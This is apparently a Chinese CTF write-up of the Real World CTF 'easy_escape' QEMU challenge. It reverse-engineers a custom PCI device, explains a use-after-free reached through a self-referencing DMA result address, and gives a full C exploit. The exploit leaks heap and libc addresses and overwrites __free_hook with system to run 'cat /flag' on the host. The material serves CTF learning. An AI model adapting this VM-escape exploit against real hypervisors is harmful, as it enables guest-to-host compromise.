easy_escape
分析
首先看一下启动程序run.sh
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | #!/bin/sh
 
 ./qemu-system-x86_64 -L ./dependency -kernel ./vmlinuz-5.4.0-58-generic -initrd ./rootfs.cpio -cpu kvm64,+smep \\
 -m 64M \\
 -monitor none \\
 -device fun \\
 -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \\
 -nographic
 
 
 | 
漏洞肯定位于fun设备中,用ida分析一下qemu-system-x86_64,从fun_class_init函数中我们可以得到vendor_id,class_id。在qemu中查看一下resource,看到只有一个内存空间
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | / 00:01.0 Class 0601: 8086:7000
 00:04.0 Class 00ff: cafe:babe
 00:00.0 Class 0600: 8086:1237
 00:01.3 Class 0680: 8086:7113
 00:03.0 Class 0200: 8086:100e
 00:01.1 Class 0101: 8086:7010
 00:02.0 Class 0300: 1234:1111
 /
 0x00000000febf1000 0x00000000febf1fff 0x0000000000040200
 
 
 | 
这里我们直接进入mmio_read/write函数进行分析,先来看一下mmio_write函数。其中FunState的结构如下
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | 00000000 FunState        struc ; (sizeof=0xA00, align=0x10, copyof_4860)00000000 pdev            PCIDevice_0 ?
 000008F0 mmio            MemoryRegion_0 ?
 000009E0 addr            dd ?
 000009E4 size            dd ?
 000009E8 idx             dd ?
 000009EC result_addr     dd ?
 000009F0 req             dq ?                    ; offset
 000009F8 as              dq ?                    ; offset
 00000A00 FunState        ends
 
 
 | 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 
 | void __cdecl fun_mmio_write(FunState *opaque, hwaddr cmd, uint32_t_0 val){
 switch ( cmd )
 {
 case 0uLL:
 opaque->size = val;
 break;
 case 4uLL:
 opaque->addr = val;
 break;
 case 8uLL:
 opaque->result_addr = val;
 break;
 case 0xCuLL:
 opaque->idx = val;
 break;
 case 0x10uLL:
 if ( opaque->req )
 handle_data_read(opaque, opaque->req, opaque->idx);
 break;
 case 0x14uLL:
 if ( !opaque->req )
 opaque->req = create_req(opaque->size);
 break;
 case 0x18uLL:
 if ( opaque->req )
 delete_req(opaque->req);
 opaque->req = 0LL;
 opaque->size = 0;
 break;
 default:
 return;
 }
 }
 
 
 | 
函数根据cmd为fun结构体中的不同的成员变量赋值,其中当cmd=0x14的时候会为req创建相应的结构体,我们看一下这个函数
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | FunReq *__cdecl create_req(uint32_t_0 size){
 uint32_t_0 i;
 uint32_t_0 t;
 FunReq *req;
 
 if ( size > 0x1FBFF )
 return 0LL;
 req = (FunReq *)malloc(0x400uLL);
 memset(req, 0, sizeof(FunReq));
 req->total_size = size;
 t = (req->total_size >> 10) + 1;
 for ( i = 0; i < t; ++i )
 req->list[i] = (char *)malloc(0x400uLL);
 return req;
 }
 
 
 | 
即按照opaque->size的值为req的成员变量total_size赋值,req->list中堆块指针数量由(size>>10) + 1决定,其中最多为127个。当cmd为0x18的时候会调用delete_req函数,
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | void __cdecl delete_req(FunReq *req){
 uint32_t_0 i;
 uint32_t_0 t;
 
 t = (req->total_size >> 10) + 1;
 for ( i = 0; i < t; ++i )
 free(req->list[i]);
 free(req);
 }
 
 
 | 
根据req->total_size的值,依次释放req->list[i]指向的内存空间。当cmd=0x10且req!=NULL的时候会调用handle_data_read函数
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 
 | void __cdecl handle_data_read(FunState *fun, FunReq *req, uint32_t_0 val){
 if ( req->total_size && val <= 0x7E && val < (req->total_size >> 10) + 1 )
 {
 put_result(fun, 1u);
 dma_memory_read_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL);
 put_result(fun, 2u);
 }
 }
 void __cdecl put_result(FunState *fun, uint32_t_0 val)
 {
 uint32_t_0 result;
 unsigned __int64 v3;
 
 v3 = __readfsqword(0x28u);
 result = val;
 dma_memory_write_9(fun->as, fun->result_addr, &result, 4uLL);
 }
 int __cdecl dma_memory_write_9(AddressSpace_0 *as, dma_addr_t addr, const void *buf, dma_addr_t len)
 {
 return dma_memory_rw_24(as, addr, (void *)buf, len, DMA_DIRECTION_FROM_DEVICE);
 }
 int __cdecl dma_memory_read_9(AddressSpace_0 *as, dma_addr_t addr, void *buf, dma_addr_t len)
 {
 return dma_memory_rw_24(as, addr, buf, len, DMA_DIRECTION_TO_DEVICE);
 }
 
 
 | 
这里首先调用put_result将固定的值写入到fun->result_addr指向的物理内存中,然后调用dma_memory_read_9函数将fun->addr+(val << 10)指向的物理内存中的内容写入到req->list[index]指向的内存空间中。即写入数据。
再来看一下mmio_read函数
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 
 | uint32_t_0 __cdecl fun_mmio_read(FunState *opaque, hwaddr cmd){
 uint32_t_0 val;
 
 val = -1;
 switch ( cmd )
 {
 case 0uLL:
 val = opaque->size;
 break;
 case 4uLL:
 val = opaque->addr;
 break;
 case 8uLL:
 val = opaque->result_addr;
 break;
 case 0xCuLL:
 val = opaque->idx;
 break;
 case 0x10uLL:
 if ( opaque->req )
 handle_data_write(opaque, opaque->req, opaque->idx);
 break;
 default:
 return val;
 }
 return val;
 }
 
 
 | 
可以看到是根据cmd的值来决定返回的FunState中的成员变量的值,当cmd=0x10的时候如果req!=NUll那么就会调用handle_data_write函数看一下该函数
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 
 | void __cdecl handle_data_write(FunState *fun, FunReq *req, uint32_t_0 idx){
 if ( req->total_size && idx <= 0x7E && idx < (req->total_size >> 10) + 1 )
 {
 put_result(fun, 1u);
 dma_memory_write_9(fun->as, (idx << 10) + fun->addr, req->list[idx], 0x400uLL);
 put_result(fun, 2u);
 }
 }
 void __cdecl put_result(FunState *fun, uint32_t_0 val)
 {
 uint32_t_0 result;
 unsigned __int64 v3;
 
 v3 = __readfsqword(0x28u);
 result = val;
 dma_memory_write_9(fun->as, fun->result_addr, &result, 4uLL);
 }
 int __cdecl dma_memory_write_9(AddressSpace_0 *as, dma_addr_t addr, const void *buf, dma_addr_t len)
 {
 return dma_memory_rw_24(as, addr, (void *)buf, len, DMA_DIRECTION_FROM_DEVICE);
 }
 
 
 | 
函数的作用是首先调用put_result将固定的值写入到fun->result_addr指向的物理内存中,然后调用dma_memory_write_9函数将req->list[index]指向的内存空间中的内容写入到fun->addr + (index << 10)指向的物理内存中,即读取req->list[index]中的数据。与handle_data_read函数类似。
漏洞位于put_result函数中,该函数最终调用的是fun_mmio_write()函数,其中参数就是我们设置的result_addr,也就是说如果我们将result_addr设置为mmio_address+0x18,那么函数最终就是调用fun_mmio_write(0x18),也就是会调用delete_req函数。那么之后的dma_memory_read/write函数就会读写已经释放的堆块,造成一个UAF漏洞。

利用
这里如果我们首先申请多个req即0x400大小的堆块,那么在delete req的时候,这些堆块就会进入tcache中,因此这里如果我们读取数据的话就会泄漏出heap地址和tcache entry的地址,根据heap地址我们可以计算得到req的堆地址。需要注意的是,在req释放之后前0x10字节会被覆写,因此我们需要将index设置为1/2进行读取。
得到req地址之后我们可以将tcache->fd,bk改写为req address,tcache entry,那么在之后进行create req的时候req->list[2]=req,这样我们就可以做到任意地址读写。
任意地址读写之后就可以读取tcache entry中的残留数据,泄漏出proc address,之后读取puts got泄漏得到libc基址,覆写free_hook-0x10为"cat /falg"+system_address。那么在释放的时候就会输出flag。
exp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 114
 115
 116
 117
 118
 119
 120
 121
 122
 123
 124
 125
 126
 127
 128
 129
 130
 131
 132
 133
 134
 135
 136
 137
 138
 139
 140
 141
 142
 143
 144
 145
 146
 147
 148
 149
 150
 151
 152
 153
 154
 155
 156
 157
 158
 159
 160
 161
 162
 163
 164
 165
 166
 167
 168
 169
 170
 171
 172
 173
 174
 175
 176
 177
 178
 179
 180
 181
 182
 183
 184
 185
 186
 187
 188
 189
 190
 191
 192
 193
 194
 195
 196
 197
 198
 199
 200
 201
 202
 203
 204
 205
 206
 207
 208
 209
 210
 211
 212
 213
 214
 215
 216
 217
 218
 219
 220
 221
 222
 223
 224
 225
 226
 227
 228
 229
 230
 231
 232
 233
 234
 235
 
 | #include <assert.h>#include <fcntl.h>
 #include <inttypes.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <sys/mman.h>
 #include <sys/types.h>
 #include <unistd.h>
 #include<sys/io.h>
 
 #define PAGE_SHIFT  12
 #define PAGE_SIZE   (1 << PAGE_SHIFT)
 #define PFN_PRESENT (1ull << 63)
 #define PFN_PFN     ((1ull << 55) - 1)
 
 unsigned char* mmio_mem;
 uint32_t mmio_addr = 0xfebf1000;
 uint32_t mmio_size = 0x1000;
 uint64_t elf_puts_got = 0x100dd38;
 uint64_t libc_puts_offset = 0x875a0;
 uint64_t libc_system_offset = 0x55410;
 uint64_t libc_free_hook_offset = 0x1eeb28;
 
 uint32_t page_offset(uint32_t addr)
 {
 return addr & ((1<< PAGE_SHIFT) - 1);
 }
 
 uint64_t gva_to_gfn(void*addr)
 {
 
 uint8_t*ptr;
 uint64_t ptr_mem;
 
 int fd = open("/proc/self/pagemap", O_RDONLY);
 if(fd < 0) {
 perror("open");
 exit(1);
 }
 
 uint64_t pme, gfn;
 size_t offset;
 offset = ((uintptr_t)addr >> 9) & ~7;
 lseek(fd, offset, SEEK_SET);
 read(fd, &pme, 8);
 if(!(pme & PFN_PRESENT))
 return-1;
 gfn = pme & PFN_PFN;
 return gfn;
 }
 
 uint64_t gva_to_gpa(void*addr)
 {
 uint64_t gfn = gva_to_gfn(addr);
 assert(gfn != -1);
 return(gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
 }
 
 void die(const char* msg)
 {
 perror(msg);
 exit(-1);
 }
 
 void* mem_map( const char* dev, size_t offset, size_t size )
 {
 int fd = open( dev, O_RDWR | O_SYNC );
 if ( fd == -1 ) {
 return 0;
 }
 
 void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );
 
 if ( !result ) {
 return 0;
 }
 
 close( fd );
 return result;
 }
 
 void mmio_write(uint64_t addr, uint64_t value, int choice)
 {
 if (choice == 0){
 *((uint8_t*)(mmio_mem + addr)) = value;
 }
 else if (choice == 1){
 *((uint16_t*)(mmio_mem + addr)) = value;
 }
 else if (choice == 2){
 *((uint32_t*)(mmio_mem + addr)) = value;
 }
 else if (choice == 3){
 *((uint64_t*)(mmio_mem + addr)) = value;
 }
 }
 
 uint64_t mmio_read(uint32_t addr, int choice)
 {
 if(choice == 0){
 return *((uint8_t*)(mmio_mem + addr));
 }
 else if(choice == 1){
 return *((uint16_t*)(mmio_mem + addr));
 }
 else if(choice == 2){
 return *((uint32_t*)(mmio_mem + addr));
 }
 else if(choice == 3){
 return *((uint64_t*)(mmio_mem + addr));
 }
 }
 
 void set_size(uint32_t size){
 mmio_write(0, size << 10, 2);
 }
 
 void set_addr(uint32_t addr){
 mmio_write(4, addr, 2);
 }
 
 void set_result_addr(uint32_t addr){
 mmio_write(8, addr, 2);
 }
 
 void set_idx(uint32_t idx){
 mmio_write(0xc, idx, 2);
 }
 
 void handle_data_read(){
 mmio_write(0x10, 0, 2);
 }
 
 void create_req(uint32_t size){
 set_size(size);
 mmio_write(0x14, 0, 2);
 }
 
 void delete_req(){
 mmio_write(0x18, 0, 2);
 }
 
 void handle_data_write(){
 mmio_read(0x10, 2);
 }
 
 int main(){
 system( "mknod -m 660 /dev/mem c 1 1" );
 
 mmio_mem = mem_map("/dev/mem", mmio_addr, mmio_size);
 if (!mmio_mem){
 die("mmio or vga mmap failed");
 }
 char* buf = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
 if (!buf){
 die("mmap failed\\n");
 }
 memset(buf, 0, 0x1000);
 uint64_t physical_buf_address = gva_to_gpa(buf);
 create_req(2);
 set_result_addr(mmio_addr+0x18);
 set_idx(2);
 set_addr(physical_buf_address);
 
 handle_data_write();
 uint64_t req_address = *(uint64_t *)(buf + 0x800) - 0x410*2;
 uint64_t tcache_entry_address = *(uint64_t *)(buf + 0x808);
 printf("req: %p\\ntcache entry: %p\\n", req_address, tcache_entry_address);
 
 memset(buf, 0, 0x1000);
 create_req(2);
 set_result_addr(mmio_addr + 0x18);
 set_idx(1);
 set_addr(physical_buf_address);
 
 *(uint64_t*)(buf + 0x400) = req_address;
 *(uint64_t*)(buf + 0x408) = tcache_entry_address;
 handle_data_read();
 printf("tcache chain has been changed\\n");
 
 memset(buf, 0, 0x1000);
 
 create_req(2);
 set_result_addr(mmio_addr);
 set_idx(2);
 set_addr(physical_buf_address);
 
 *(uint64_t*)(buf + 0x800) = 0x800;
 *(uint64_t*)(buf + 0x808) = tcache_entry_address + 0x788;
 *(uint64_t*)(buf + 0x810) = 0;
 *(uint64_t*)(buf + 0x818) = req_address;
 
 handle_data_read();
 set_idx(0);
 
 handle_data_write();
 uint64_t proc_address = *(uint64_t *)buf - 0xa700a0;
 printf("proc base: %p\\n", proc_address);
 
 memset(buf, 0, 0x1000);
 
 set_idx(2);
 *(uint64_t*)(buf + 0x800) = 0x800;
 *(uint64_t*)(buf + 0x808) = proc_address + elf_puts_got;
 *(uint64_t*)(buf + 0x810) = 0;
 *(uint64_t*)(buf + 0x818) = req_address;
 
 handle_data_read();
 set_idx(0);
 handle_data_write();
 uint64_t libc_address = *(uint64_t*)buf - libc_puts_offset;
 printf("libc address: %p\\n", libc_address);
 
 memset(buf, 0, 0x1000);
 
 set_idx(2);
 *(uint64_t*)(buf + 0x800) = 0x800;
 *(uint64_t*)(buf + 0x808) = libc_address + libc_free_hook_offset - 0x10;
 *(uint64_t*)(buf + 0x810) = 0;
 *(uint64_t*)(buf + 0x818) = req_address;
 
 getchar();
 
 handle_data_read();
 set_idx(0);
 memset(buf, 0, 0x1000);
 strcpy(buf, "cat /flag");
 *(uint64_t*)(buf + 0x10) = libc_system_offset + libc_address;
 handle_data_read();
 
 delete_req();
 
 }
 
 
 | 
参考
RealWorld CTF 2020 EasyEscape题解
Real World CTF 3rd - Esay Escape